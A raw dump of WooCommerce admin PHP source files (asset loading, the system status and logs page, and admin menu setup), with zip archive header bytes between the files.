			if ( in_array( $screen_id, apply_filters( 'woocommerce_reports_screen_ids', array( $wc_screen_id . '_page_wc-reports', 'toplevel_page_wc-reports', 'dashboard' ) ) ) ) {
				wp_register_script( 'wc-reports', WC()->plugin_url() . '/assets/js/admin/reports' . $suffix . '.js', array( 'jquery', 'jquery-ui-datepicker' ), $version );

				wp_enqueue_script( 'wc-reports' );
				wp_enqueue_script( 'flot' );
				wp_enqueue_script( 'flot-resize' );
				wp_enqueue_script( 'flot-time' );
				wp_enqueue_script( 'flot-pie' );
				wp_enqueue_script( 'flot-stack' );
			}

			// API settings.
			if ( $wc_screen_id . '_page_wc-settings' === $screen_id && isset( $_GET['section'] ) && 'keys' == $_GET['section'] ) {
				wp_register_script( 'wc-api-keys', WC()->plugin_url() . '/assets/js/admin/api-keys' . $suffix . '.js', array( 'jquery', 'woocommerce_admin', 'underscore', 'backbone', 'wp-util', 'qrcode', 'wc-clipboard' ), $version, true );
				wp_enqueue_script( 'wc-api-keys' );
				wp_localize_script(
					'wc-api-keys',
					'woocommerce_admin_api_keys',
					array(
						'ajax_url'         => admin_url( 'admin-ajax.php' ),
						'update_api_nonce' => wp_create_nonce( 'update-api-key' ),
						'clipboard_failed' => esc_html__( 'Copying to clipboard failed. Please press Ctrl/Cmd+C to copy.', 'woocommerce' ),
					)
				);
			}

			// System status.
			if ( $wc_screen_id . '_page_wc-status' === $screen_id ) {
				wp_register_script( 'wc-admin-system-status', WC()->plugin_url() . '/assets/js/admin/system-status' . $suffix . '.js', array( 'wc-clipboard' ), $version );
				wp_enqueue_script( 'wc-admin-system-status' );
				wp_localize_script(
					'wc-admin-system-status',
					'woocommerce_admin_system_status',
					array(
						'delete_log_confirmation' => esc_js( __( 'Are you sure you want to delete this log?', 'woocommerce' ) ),
						'run_tool_confirmation'   => esc_js( __( 'Are you sure you want to run this tool?', 'woocommerce' ) ),
					)
				);
			}

			if ( in_array( $screen_id, array( 'user-edit', 'profile' ) ) ) {
				wp_register_script( 'wc-users', WC()->plugin_url() . '/assets/js/admin/users' . $suffix . '.js', array( 'jquery', 'wc-enhanced-select', 'selectWoo' ), $version, true );
				wp_enqueue_script( 'wc-users' );
				wp_localize_script(
					'wc-users',
					'wc_users_params',
					array(
						'countries'              => wp_json_encode( array_merge( WC()->countries->get_allowed_country_states(), WC()->countries->get_shipping_country_states() ) ),
						'i18n_select_state_text' => esc_attr__( 'Select an option&hellip;', 'woocommerce' ),
					)
				);
			}

			if ( WC_Marketplace_Suggestions::show_suggestions_for_screen( $screen_id ) ) {
				$active_plugin_slugs = array_map( 'dirname', get_option( 'active_plugins' ) );
				wp_register_script(
					'marketplace-suggestions',
					WC()->plugin_url() . '/assets/js/admin/marketplace-suggestions' . $suffix . '.js',
					array( 'jquery', 'underscore', 'js-cookie' ),
					$version,
					true
				);
				wp_localize_script(
					'marketplace-suggestions',
					'marketplace_suggestions',
					array(
						'dismiss_suggestion_nonce' => wp_create_nonce( 'add_dismissed_marketplace_suggestion' ),
						'active_plugins'           => $active_plugin_slugs,
						'dismissed_suggestions'    => WC_Marketplace_Suggestions::get_dismissed_suggestions(),
						'suggestions_data'         => WC_Marketplace_Suggestions::get_suggestions_api_data(),
						'manage_suggestions_url'   => admin_url( 'admin.php?page=wc-settings&tab=advanced&section=woocommerce_com' ),
						'in_app_purchase_params'   => WC_Admin_Addons::get_in_app_purchase_url_params(),
						'i18n_marketplace_suggestions_default_cta'
							=> esc_html__( 'Learn More', 'woocommerce' ),
						'i18n_marketplace_suggestions_dismiss_tooltip'
							=> esc_attr__( 'Dismiss this suggestion', 'woocommerce' ),
						'i18n_marketplace_suggestions_manage_suggestions'
							=> esc_html__( 'Manage suggestions', 'woocommerce' ),
					)
				);
				wp_enqueue_script( 'marketplace-suggestions' );
			}

		}

	}

endif;

return new WC_Admin_Assets();
PK�3\�0vB�7�7class-wc-admin-status.phpnu�[���<?php
/**
 * Debug/Status page
 *
 * @package WooCommerce\Admin\System Status
 * @version 2.2.0
 */

use Automattic\Jetpack\Constants;
use Automattic\WooCommerce\Utilities\ArrayUtil;

defined( 'ABSPATH' ) || exit;

/**
 * WC_Admin_Status Class.
 */
class WC_Admin_Status {

	/**
	 * Handles output of the reports page in admin.
	 */
	public static function output() {
		include_once __DIR__ . '/views/html-admin-page-status.php';
	}

	/**
	 * Handles output of report.
	 */
	public static function status_report() {
		include_once __DIR__ . '/views/html-admin-page-status-report.php';
	}

	/**
	 * Handles output of tools.
	 */
	public static function status_tools() {
		if ( ! class_exists( 'WC_REST_System_Status_Tools_Controller' ) ) {
			wp_die( 'Cannot load the REST API to access WC_REST_System_Status_Tools_Controller.' );
		}

		$tools                 = self::get_tools();
		$tool_requires_refresh = false;

		if ( ! empty( $_GET['action'] ) && ! empty( $_REQUEST['_wpnonce'] ) && wp_verify_nonce( wp_unslash( $_REQUEST['_wpnonce'] ), 'debug_action' ) ) { // WPCS: input var ok, sanitization ok.
			$tools_controller = new WC_REST_System_Status_Tools_Controller();
			$action           = wc_clean( wp_unslash( $_GET['action'] ) ); // WPCS: input var ok.

			if ( array_key_exists( $action, $tools ) ) {
				$response = $tools_controller->execute_tool( $action );

				$tool                  = $tools[ $action ];
				$tool_requires_refresh = ArrayUtil::get_value_or_default( $tool, 'requires_refresh', false );
				$tool                  = array(
					'id'          => $action,
					'name'        => $tool['name'],
					'action'      => $tool['button'],
					'description' => $tool['desc'],
					'disabled'    => ArrayUtil::get_value_or_default( $tool, 'disabled', false ),
				);
				$tool                  = array_merge( $tool, $response );

				/**
				 * Fires after a WooCommerce system status tool has been executed.
				 *
				 * @param array  $tool  Details about the tool that has been executed.
				 */
				do_action( 'woocommerce_system_status_tool_executed', $tool );
			} else {
				$response = array(
					'success' => false,
					'message' => __( 'Tool does not exist.', 'woocommerce' ),
				);
			}

			if ( $response['success'] ) {
				echo '<div class="updated inline"><p>' . esc_html( $response['message'] ) . '</p></div>';
			} else {
				echo '<div class="error inline"><p>' . esc_html( $response['message'] ) . '</p></div>';
			}
		}

		// Display message if settings settings have been saved.
		if ( isset( $_REQUEST['settings-updated'] ) ) { // WPCS: input var ok.
			echo '<div class="updated inline"><p>' . esc_html__( 'Your changes have been saved.', 'woocommerce' ) . '</p></div>';
		}

		if ( $tool_requires_refresh ) {
			$tools = self::get_tools();
		}

		include_once __DIR__ . '/views/html-admin-page-status-tools.php';
	}

	/**
	 * Get tools.
	 *
	 * @return array of tools
	 */
	public static function get_tools() {
		$tools_controller = new WC_REST_System_Status_Tools_Controller();
		return $tools_controller->get_tools();
	}

	/**
	 * Show the logs page.
	 */
	public static function status_logs() {
		$log_handler = Constants::get_constant( 'WC_LOG_HANDLER' );

		if ( 'WC_Log_Handler_DB' === $log_handler ) {
			self::status_logs_db();
		} else {
			self::status_logs_file();
		}
	}

	/**
	 * Show the log page contents for file log handler.
	 */
	public static function status_logs_file() {
		$logs = self::scan_log_files();

		if ( ! empty( $_REQUEST['log_file'] ) && isset( $logs[ sanitize_title( wp_unslash( $_REQUEST['log_file'] ) ) ] ) ) { // WPCS: input var ok, CSRF ok.
			$viewed_log = $logs[ sanitize_title( wp_unslash( $_REQUEST['log_file'] ) ) ]; // WPCS: input var ok, CSRF ok.
		} elseif ( ! empty( $logs ) ) {
			$viewed_log = current( $logs );
		}

		$handle = ! empty( $viewed_log ) ? self::get_log_file_handle( $viewed_log ) : '';

		if ( ! empty( $_REQUEST['handle'] ) ) { // WPCS: input var ok, CSRF ok.
			self::remove_log();
		}

		include_once __DIR__ . '/views/html-admin-page-status-logs.php';
	}

	/**
	 * Show the log page contents for db log handler.
	 */
	public static function status_logs_db() {
		if ( ! empty( $_REQUEST['flush-logs'] ) ) { // WPCS: input var ok, CSRF ok.
			self::flush_db_logs();
		}

		if ( isset( $_REQUEST['action'] ) && isset( $_REQUEST['log'] ) ) { // WPCS: input var ok, CSRF ok.
			self::log_table_bulk_actions();
		}

		$log_table_list = new WC_Admin_Log_Table_List();
		$log_table_list->prepare_items();

		include_once __DIR__ . '/views/html-admin-page-status-logs-db.php';
	}

	/**
	 * Retrieve metadata from a file. Based on WP Core's get_file_data function.
	 *
	 * @since  2.1.1
	 * @param  string $file Path to the file.
	 * @return string
	 */
	public static function get_file_version( $file ) {

		// Avoid notices if file does not exist.
		if ( ! file_exists( $file ) ) {
			return '';
		}

		// We don't need to write to the file, so just open for reading.
		$fp = fopen( $file, 'r' ); // @codingStandardsIgnoreLine.

		// Pull only the first 8kiB of the file in.
		$file_data = fread( $fp, 8192 ); // @codingStandardsIgnoreLine.

		// PHP will close file handle, but we are good citizens.
		fclose( $fp ); // @codingStandardsIgnoreLine.

		// Make sure we catch CR-only line endings.
		$file_data = str_replace( "\r", "\n", $file_data );
		$version   = '';

		if ( preg_match( '/^[ \t\/*#@]*' . preg_quote( '@version', '/' ) . '(.*)$/mi', $file_data, $match ) && $match[1] ) {
			$version = _cleanup_header_comment( $match[1] );
		}

		return $version;
	}

	/**
	 * Return the log file handle.
	 *
	 * @param string $filename Filename to get the handle for.
	 * @return string
	 */
	public static function get_log_file_handle( $filename ) {
		return substr( $filename, 0, strlen( $filename ) > 48 ? strlen( $filename ) - 48 : strlen( $filename ) - 4 );
	}

	/**
	 * Scan the template files.
	 *
	 * @param  string $template_path Path to the template directory.
	 * @return array
	 */
	public static function scan_template_files( $template_path ) {
		$files  = @scandir( $template_path ); // @codingStandardsIgnoreLine.
		$result = array();

		if ( ! empty( $files ) ) {

			foreach ( $files as $key => $value ) {

				if ( ! in_array( $value, array( '.', '..' ), true ) ) {

					if ( is_dir( $template_path . DIRECTORY_SEPARATOR . $value ) ) {
						$sub_files = self::scan_template_files( $template_path . DIRECTORY_SEPARATOR . $value );
						foreach ( $sub_files as $sub_file ) {
							$result[] = $value . DIRECTORY_SEPARATOR . $sub_file;
						}
					} else {
						$result[] = $value;
					}
				}
			}
		}
		return $result;
	}

	/**
	 * Scan the log files.
	 *
	 * @return array
	 */
	public static function scan_log_files() {
		return WC_Log_Handler_File::get_log_files();
	}

	/**
	 * Get latest version of a theme by slug.
	 *
	 * @param  object $theme WP_Theme object.
	 * @return string Version number if found.
	 */
	public static function get_latest_theme_version( $theme ) {
		include_once ABSPATH . 'wp-admin/includes/theme.php';

		$api = themes_api(
			'theme_information',
			array(
				'slug'   => $theme->get_stylesheet(),
				'fields' => array(
					'sections' => false,
					'tags'     => false,
				),
			)
		);

		$update_theme_version = 0;

		// Check .org for updates.
		if ( is_object( $api ) && ! is_wp_error( $api ) ) {
			$update_theme_version = $api->version;
		} elseif ( strstr( $theme->{'Author URI'}, 'woothemes' ) ) { // Check WooThemes Theme Version.
			$theme_dir          = substr( strtolower( str_replace( ' ', '', $theme->Name ) ), 0, 45 ); // @codingStandardsIgnoreLine.
			$theme_version_data = get_transient( $theme_dir . '_version_data' );

			if ( false === $theme_version_data ) {
				$theme_changelog = wp_safe_remote_get( 'http://dzv365zjfbd8v.cloudfront.net/changelogs/' . $theme_dir . '/changelog.txt' );
				$cl_lines        = explode( "\n", wp_remote_retrieve_body( $theme_changelog ) );
				if ( ! empty( $cl_lines ) ) {
					foreach ( $cl_lines as $line_num => $cl_line ) {
						if ( preg_match( '/^[0-9]/', $cl_line ) ) {
							$theme_date         = str_replace( '.', '-', trim( substr( $cl_line, 0, strpos( $cl_line, '-' ) ) ) );
							$theme_version      = preg_replace( '~[^0-9,.]~', '', stristr( $cl_line, 'version' ) );
							$theme_update       = trim( str_replace( '*', '', $cl_lines[ $line_num + 1 ] ) );
							$theme_version_data = array(
								'date'      => $theme_date,
								'version'   => $theme_version,
								'update'    => $theme_update,
								'changelog' => $theme_changelog,
							);
							set_transient( $theme_dir . '_version_data', $theme_version_data, DAY_IN_SECONDS );
							break;
						}
					}
				}
			}

			if ( ! empty( $theme_version_data['version'] ) ) {
				$update_theme_version = $theme_version_data['version'];
			}
		}

		return $update_theme_version;
	}

	/**
	 * Remove/delete the chosen file.
	 */
	public static function remove_log() {
		if ( empty( $_REQUEST['_wpnonce'] ) || ! wp_verify_nonce( wp_unslash( $_REQUEST['_wpnonce'] ), 'remove_log' ) ) { // WPCS: input var ok, sanitization ok.
			wp_die( esc_html__( 'Action failed. Please refresh the page and retry.', 'woocommerce' ) );
		}

		if ( ! empty( $_REQUEST['handle'] ) ) {  // WPCS: input var ok.
			$log_handler = new WC_Log_Handler_File();
			$log_handler->remove( wp_unslash( $_REQUEST['handle'] ) ); // WPCS: input var ok, sanitization ok.
		}

		wp_safe_redirect( esc_url_raw( admin_url( 'admin.php?page=wc-status&tab=logs' ) ) );
		exit();
	}

	/**
	 * Clear DB log table.
	 *
	 * @since 3.0.0
	 */
	private static function flush_db_logs() {
		if ( empty( $_REQUEST['_wpnonce'] ) || ! wp_verify_nonce( $_REQUEST['_wpnonce'], 'woocommerce-status-logs' ) ) { // WPCS: input var ok, sanitization ok.
			wp_die( esc_html__( 'Action failed. Please refresh the page and retry.', 'woocommerce' ) );
		}

		WC_Log_Handler_DB::flush();

		wp_safe_redirect( esc_url_raw( admin_url( 'admin.php?page=wc-status&tab=logs' ) ) );
		exit();
	}

	/**
	 * Bulk DB log table actions.
	 *
	 * @since 3.0.0
	 */
	private static function log_table_bulk_actions() {
		if ( empty( $_REQUEST['_wpnonce'] ) || ! wp_verify_nonce( $_REQUEST['_wpnonce'], 'woocommerce-status-logs' ) ) { // WPCS: input var ok, sanitization ok.
			wp_die( esc_html__( 'Action failed. Please refresh the page and retry.', 'woocommerce' ) );
		}

		$log_ids = array_map( 'absint', (array) isset( $_REQUEST['log'] ) ? wp_unslash( $_REQUEST['log'] ) : array() ); // WPCS: input var ok, sanitization ok.

		if ( ( isset( $_REQUEST['action'] ) && 'delete' === $_REQUEST['action'] ) || ( isset( $_REQUEST['action2'] ) && 'delete' === $_REQUEST['action2'] ) ) { // WPCS: input var ok, sanitization ok.
			WC_Log_Handler_DB::delete( $log_ids );
			wp_safe_redirect( esc_url_raw( admin_url( 'admin.php?page=wc-status&tab=logs' ) ) );
			exit();
		}
	}

	/**
	 * Prints table info if a base table is not present.
	 */
	private static function output_tables_info() {
		$missing_tables = WC_Install::verify_base_tables( false );
		if ( 0 === count( $missing_tables ) ) {
			return;
		}
		?>

		<br>
		<strong style="color:#a00;">
			<span class="dashicons dashicons-warning"></span>
			<?php
				echo esc_html(
					sprintf(
					// translators: Comma seperated list of missing tables.
						__( 'Missing base tables: %s. Some WooCommerce functionality may not work as expected.', 'woocommerce' ),
						implode( ', ', $missing_tables )
					)
				);
			?>
		</strong>

		<?php
	}

	/**
	 * Prints the information about plugins for the system status report.
	 * Used for both active and inactive plugins sections.
	 *
	 * @param array $plugins List of plugins to display.
	 * @param array $untested_plugins List of plugins that haven't been tested with the current WooCommerce version.
	 * @return void
	 */
	private static function output_plugins_info( $plugins, $untested_plugins ) {
		$wc_version = Constants::get_constant( 'WC_VERSION' );

		if ( 'major' === Constants::get_constant( 'WC_SSR_PLUGIN_UPDATE_RELEASE_VERSION_TYPE' ) ) {
			// Since we're only testing against major, we don't need to show minor and patch version.
			$wc_version = $wc_version[0] . '.0';
		}

		foreach ( $plugins as $plugin ) {
			if ( ! empty( $plugin['name'] ) ) {
				// Link the plugin name to the plugin url if available.
				$plugin_name = esc_html( $plugin['name'] );
				if ( ! empty( $plugin['url'] ) ) {
					$plugin_name = '<a href="' . esc_url( $plugin['url'] ) . '" aria-label="' . esc_attr__( 'Visit plugin homepage', 'woocommerce' ) . '" target="_blank">' . $plugin_name . '</a>';
				}

				$has_newer_version = false;
				$version_string    = $plugin['version'];
				$network_string    = '';
				if ( strstr( $plugin['url'], 'woothemes.com' ) || strstr( $plugin['url'], 'woocommerce.com' ) ) {
					if ( ! empty( $plugin['version_latest'] ) && version_compare( $plugin['version_latest'], $plugin['version'], '>' ) ) {
						/* translators: 1: current version. 2: latest version */
						$version_string = sprintf( __( '%1$s (update to version %2$s is available)', 'woocommerce' ), $plugin['version'], $plugin['version_latest'] );
					}

					if ( false !== $plugin['network_activated'] ) {
						$network_string = ' &ndash; <strong style="color: black;">' . esc_html__( 'Network enabled', 'woocommerce' ) . '</strong>';
					}
				}
				$untested_string = '';
				if ( array_key_exists( $plugin['plugin'], $untested_plugins ) ) {
					$untested_string = ' &ndash; <strong style="color: #a00;">';

					/* translators: %s: version */
					$untested_string .= esc_html( sprintf( __( 'Installed version not tested with active version of WooCommerce %s', 'woocommerce' ), $wc_version ) );

					$untested_string .= '</strong>';
				}
				?>
				<tr>
					<td><?php echo wp_kses_post( $plugin_name ); ?></td>
					<td class="help">&nbsp;</td>
					<td>
						<?php
						/* translators: %s: plugin author */
						printf( esc_html__( 'by %s', 'woocommerce' ), esc_html( $plugin['author_name'] ) );
						echo ' &ndash; ' . esc_html( $version_string ) . $untested_string . $network_string; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
						?>
					</td>
				</tr>
				<?php
			}
		}
	}
}
PK�3\��Z��B�Bclass-wc-admin-menus.phpnu�[���<?php
/**
 * Setup menus in WP admin.
 *
 * @package WooCommerce\Admin
 * @version 2.5.0
 */

defined( 'ABSPATH' ) || exit;

if ( class_exists( 'WC_Admin_Menus', false ) ) {
	return new WC_Admin_Menus();
}

/**
 * WC_Admin_Menus Class.
 */
class WC_Admin_Menus {

	/**
	 * Hook in tabs.
	 */
	public function __construct() {
		// Add menus.
		add_action( 'admin_menu', array( $this, 'menu_highlight' ) );
		add_action( 'admin_menu', array( $this, 'menu_order_count' ) );
		add_action( 'admin_menu', array( $this, 'admin_menu' ), 9 );
		add_action( 'admin_menu', array( $this, 'reports_menu' ), 20 );
		add_action( 'admin_menu', array( $this, 'settings_menu' ), 50 );
		add_action( 'admin_menu', array( $this, 'status_menu' ), 60 );

		if ( apply_filters( 'woocommerce_show_addons_page', true ) ) {
			add_action( 'admin_menu', array( $this, 'addons_menu' ), 70 );
		}

		add_filter( 'menu_order', array( $this, 'menu_order' ) );
		add_filter( 'custom_menu_order', array( $this, 'custom_menu_order' ) );
		add_filter( 'set-screen-option', array( $this, 'set_screen_option' ), 10, 3 );
		add_filter( 'submenu_file', array( $this, 'update_menu_highlight' ), 10, 2 );
		add_filter( 'admin_title', array( $this, 'update_my_subscriptions_title' ) );

		// Add endpoints custom URLs in Appearance > Menus > Pages.
		add_action( 'admin_head-nav-menus.php', array( $this, 'add_nav_menu_meta_boxes' ) );

		// Admin bar menus.
		if ( apply_filters( 'woocommerce_show_admin_bar_visit_store', true ) ) {
			add_action( 'admin_bar_menu', array( $this, 'admin_bar_menus' ), 31 );
		}

		// Handle saving settings earlier than load-{page} hook to avoid race conditions in conditional menus.
		add_action( 'wp_loaded', array( $this, 'save_settings' ) );
	}

	/**
	 * Add menu items.
	 */
	public function admin_menu() {
		global $menu;

		$woocommerce_icon = 'data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxMDI0IDEwMjQiPjxwYXRoIGZpbGw9IiNhMmFhYjIiIGQ9Ik02MTIuMTkyIDQyNi4zMzZjMC02Ljg5Ni0zLjEzNi01MS42LTI4LTUxLjYtMzcuMzYgMC00Ni43MDQgNzIuMjU2LTQ2LjcwNCA4Mi42MjQgMCAzLjQwOCAzLjE1MiA1OC40OTYgMjguMDMyIDU4LjQ5NiAzNC4xOTItLjAzMiA0Ni42NzItNzIuMjg4IDQ2LjY3Mi04OS41MnptMjAyLjE5MiAwYzAtNi44OTYtMy4xNTItNTEuNi0yOC4wMzItNTEuNi0zNy4yOCAwLTQ2LjYwOCA3Mi4yNTYtNDYuNjA4IDgyLjYyNCAwIDMuNDA4IDMuMDcyIDU4LjQ5NiAyNy45NTIgNTguNDk2IDM0LjE5Mi0uMDMyIDQ2LjY4OC03Mi4yODggNDYuNjg4LTg5LjUyek0xNDEuMjk2Ljc2OGMtNjguMjI0IDAtMTIzLjUwNCA1NS40ODgtMTIzLjUwNCAxMjMuOTJ2NjUwLjcyYzAgNjguNDMyIDU1LjI5NiAxMjMuOTIgMTIzLjUwNCAxMjMuOTJoMzM5LjgwOGwxMjMuNTA0IDEyMy45MzZWODk5LjMyOGgyNzguMDQ4YzY4LjIyNCAwIDEyMy41Mi01NS40NzIgMTIzLjUyLTEyMy45MnYtNjUwLjcyYzAtNjguNDMyLTU1LjI5Ni0xMjMuOTItMTIzLjUyLTEyMy45MmgtNzQxLjM2em01MjYuODY0IDQyMi4xNmMwIDU1LjA4OC0zMS4wODggMTU0Ljg4LTEwMi42NCAxNTQuODgtNi4yMDggMC0xOC40OTYtMy42MTYtMjUuNDI0LTYuMDE2LTMyLjUxMi0xMS4xNjgtNTAuMTkyLTQ5LjY5Ni01Mi4zNTItNjYuMjU2IDAgMC0zLjA3Mi0xNy43OTItMy4wNzItNDAuNzUyIDAtMjIuOTkyIDMuMDcyLTQ1LjMyOCAzLjA3Mi00NS4zMjggMTUuNTUyLTc1LjcyOCA0My41NTItMTA2LjczNiA5Ni40NDgtMTA2LjczNiA1OS4wNzItLjAzMiA4My45NjggNTguNTI4IDgzLjk2OCAxMTAuMjA4ek00ODYuNDk2IDMwMi40YzAgMy4zOTItNDMuNTUyIDE0MS4xNjgtNDMuNTUyIDIxMy40MjR2NzUuNzEyYy0yLjU5MiAxMi4wOC00LjE2IDI0LjE0NC0yMS44MjQgMjQuMTQ0LTQ2LjYwOCAwLTg4Ljg4LTE1MS40NzItOTIuMDE2LTE2MS44NC02LjIwOCA2Ljg5Ni02Mi4yNCAxNjEuODQtOTYuNDQ4IDE2MS44NC0yNC44NjQgMC00My41NTItMTEzLjY0OC00Ni42MDgtMTIzLjkzNkMxNzYuNzA0IDQzNi42NzIgMTYwIDMzNC4yMjQgMTYwIDMyNy4zMjhjMC0yMC42NzIgMS4xNTItMzguNzM2IDI2LjA0OC0zOC43MzYgNi4yMDggMCAyMS42IDYuMDY0IDIzLjcxMiAxNy4xNjggMTEuNjQ4IDYyLjAzMiAxNi42ODggMTIwLjUxMiAyOS4xNjggMTg1Ljk2OCAxLjg1NiAyLjkyOCAxLjUwNCA3LjAwOCA0LjU2IDEwLjQzMiAzLjE1Mi0xMC4yODggNjYuOTI4LTE2OC43ODQgOTQuOTYtMTY4Ljc4NCAyMi41NDQgMCAzMC40IDQ0LjU5MiAzMy41MzYgNjEuODI0IDYuMjA4IDIwLjY1NiAxMy4wODggNTUuMjE2IDIyLjQxNiA4Mi43NTIgMC0xMy43NzYgMTIuNDgtMjAzLjEyIDY1LjM5Mi0yMDMuMTIgMTguNTkyLjAzMiAyNi43MDQgNi45MjggMjYuNzA0IDI3LjU2OHpNODcwLjMyIDQyMi45MjhjMCA1NS4wODgtMzEuMDg4IDE1NC44OC0xMDIuNjQgMTU0Ljg4LTYuMTkyIDAtMTguNDQ4LTMuNjE2LTI1LjQyNC02LjAxNi0zMi40MzItMTEuMTY4LTUwLjE3Ni00OS42OTYtNTIuMjg4LTY2LjI1NiAwIDAtMy44ODgtMTcuOTItMy44ODgtNDAuODk2czMuODg4LTQ1LjE4NCAzLjg4OC00NS4xODRjMTUuNTUyLTc1LjcyOCA0My40ODgtMTA2LjczNiA5Ni4zODQtMTA2LjczNiA1OS4xMDQtLjAzMiA4My45NjggNTguNTI4IDgzLjk2OCAxMTAuMjA4eiIvPjwvc3ZnPg==';

		if ( current_user_can( 'edit_others_shop_orders' ) ) {
			$menu[] = array( '', 'read', 'separator-woocommerce', '', 'wp-menu-separator woocommerce' ); // WPCS: override ok.
		}

		add_menu_page( __( 'WooCommerce', 'woocommerce' ), __( 'WooCommerce', 'woocommerce' ), 'edit_others_shop_orders', 'woocommerce', null, $woocommerce_icon, '55.5' );

		add_submenu_page( 'edit.php?post_type=product', __( 'Attributes', 'woocommerce' ), __( 'Attributes', 'woocommerce' ), 'manage_product_terms', 'product_attributes', array( $this, 'attributes_page' ) );
	}

	/**
	 * Add menu item.
	 */
	public function reports_menu() {
		if ( current_user_can( 'edit_others_shop_orders' ) ) {
			add_submenu_page( 'woocommerce', __( 'Reports', 'woocommerce' ), __( 'Reports', 'woocommerce' ), 'view_woocommerce_reports', 'wc-reports', array( $this, 'reports_page' ) );
		} else {
			add_menu_page( __( 'Sales reports', 'woocommerce' ), __( 'Sales reports', 'woocommerce' ), 'view_woocommerce_reports', 'wc-reports', array( $this, 'reports_page' ), 'dashicons-chart-bar', '55.6' );
		}
	}

	/**
	 * Add menu item.
	 */
	public function settings_menu() {
		$settings_page = add_submenu_page( 'woocommerce', __( 'WooCommerce settings', 'woocommerce' ), __( 'Settings', 'woocommerce' ), 'manage_woocommerce', 'wc-settings', array( $this, 'settings_page' ) );

		add_action( 'load-' . $settings_page, array( $this, 'settings_page_init' ) );
	}

	/**
	 * Loads gateways and shipping methods into memory for use within settings.
	 */
	public function settings_page_init() {
		WC()->payment_gateways();
		WC()->shipping();

		// Include settings pages.
		WC_Admin_Settings::get_settings_pages();

		// Add any posted messages.
		if ( ! empty( $_GET['wc_error'] ) ) { // WPCS: input var okay, CSRF ok.
			WC_Admin_Settings::add_error( wp_kses_post( wp_unslash( $_GET['wc_error'] ) ) ); // WPCS: input var okay, CSRF ok.
		}

		if ( ! empty( $_GET['wc_message'] ) ) { // WPCS: input var okay, CSRF ok.
			WC_Admin_Settings::add_message( wp_kses_post( wp_unslash( $_GET['wc_message'] ) ) ); // WPCS: input var okay, CSRF ok.
		}

		do_action( 'woocommerce_settings_page_init' );
	}

	/**
	 * Handle saving of settings.
	 *
	 * @return void
	 */
	public function save_settings() {
		global $current_tab, $current_section;

		// We should only save on the settings page.
		if ( ! is_admin() || ! isset( $_GET['page'] ) || 'wc-settings' !== $_GET['page'] ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
			return;
		}

		// Include settings pages.
		WC_Admin_Settings::get_settings_pages();

		// Get current tab/section.
		$current_tab     = empty( $_GET['tab'] ) ? 'general' : sanitize_title( wp_unslash( $_GET['tab'] ) ); // WPCS: input var okay, CSRF ok.
		$current_section = empty( $_REQUEST['section'] ) ? '' : sanitize_title( wp_unslash( $_REQUEST['section'] ) ); // WPCS: input var okay, CSRF ok.

		// Save settings if data has been posted.
		if ( '' !== $current_section && apply_filters( "woocommerce_save_settings_{$current_tab}_{$current_section}", ! empty( $_POST['save'] ) ) ) { // WPCS: input var okay, CSRF ok.
			WC_Admin_Settings::save();
		} elseif ( '' === $current_section && apply_filters( "woocommerce_save_settings_{$current_tab}", ! empty( $_POST['save'] ) ) ) { // WPCS: input var okay, CSRF ok.
			WC_Admin_Settings::save();
		}
	}

	/**
	 * Add menu item.
	 */
	public function status_menu() {
		add_submenu_page( 'woocommerce', __( 'WooCommerce status', 'woocommerce' ), __( 'Status', 'woocommerce' ), 'manage_woocommerce', 'wc-status', array( $this, 'status_page' ) );
	}

	/**
	 * Addons menu item.
	 */
	public function addons_menu() {
		$count_html = WC_Helper_Updater::get_updates_count_html();
		/* translators: %s: extensions count */
		$menu_title = sprintf( __( 'My Subscriptions %s', 'woocommerce' ), $count_html );
		add_submenu_page( 'woocommerce', __( 'WooCommerce Marketplace', 'woocommerce' ), __( 'Marketplace', 'woocommerce' ), 'manage_woocommerce', 'wc-addons', array( $this, 'addons_page' ) );
		add_submenu_page( 'woocommerce', __( 'My WooCommerce.com Subscriptions', 'woocommerce' ), $menu_title, 'manage_woocommerce', 'wc-addons&section=helper', array( $this, 'addons_page' ) );
	}

	/**
	 * Highlights the correct top level admin menu item for post type add screens.
	 */
	public function menu_highlight() {
		global $parent_file, $submenu_file, $post_type;

		switch ( $post_type ) {
			case 'shop_order':
			case 'shop_coupon':
				$parent_file = 'woocommerce'; // WPCS: override ok.
				break;
			case 'product':
				$screen = get_current_screen();
				if ( $screen && taxonomy_is_product_attribute( $screen->taxonomy ) ) {
					$submenu_file = 'product_attributes'; // WPCS: override ok.
					$parent_file  = 'edit.php?post_type=product'; // WPCS: override ok.
				}
				break;
		}
	}

	/**
	 * Adds the order processing count to the menu.
	 */
	public function menu_order_count() {
		global $submenu;

		if ( isset( $submenu['woocommerce'] ) ) {
			// Remove 'WooCommerce' sub menu item.
			unset( $submenu['woocommerce'][0] );

			// Add count if user has access.
			if ( apply_filters( 'woocommerce_include_processing_order_count_in_menu', true ) && current_user_can( 'edit_others_shop_orders' ) ) {
				$order_count = apply_filters( 'woocommerce_menu_order_count', wc_processing_order_count() );

				if ( $order_count ) {
					foreach ( $submenu['woocommerce'] as $key => $menu_item ) {
						if ( 0 === strpos( $menu_item[0], _x( 'Orders', 'Admin menu name', 'woocommerce' ) ) ) {
							$submenu['woocommerce'][ $key ][0] .= ' <span class="awaiting-mod update-plugins count-' . esc_attr( $order_count ) . '"><span class="processing-count">' . number_format_i18n( $order_count ) . '</span></span>'; // phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited
							break;
						}
					}
				}
			}
		}
	}

	/**
	 * Reorder the WC menu items in admin.
	 *
	 * @param int $menu_order Menu order.
	 * @return array
	 */
	public function menu_order( $menu_order ) {
		// Initialize our custom order array.
		$woocommerce_menu_order = array();

		// Get the index of our custom separator.
		$woocommerce_separator = array_search( 'separator-woocommerce', $menu_order, true );

		// Get index of product menu.
		$woocommerce_product = array_search( 'edit.php?post_type=product', $menu_order, true );

		// Loop through menu order and do some rearranging.
		foreach ( $menu_order as $index => $item ) {

			if ( 'woocommerce' === $item ) {
				$woocommerce_menu_order[] = 'separator-woocommerce';
				$woocommerce_menu_order[] = $item;
				$woocommerce_menu_order[] = 'edit.php?post_type=product';
				unset( $menu_order[ $woocommerce_separator ] );
				unset( $menu_order[ $woocommerce_product ] );
			} elseif ( ! in_array( $item, array( 'separator-woocommerce' ), true ) ) {
				$woocommerce_menu_order[] = $item;
			}
		}

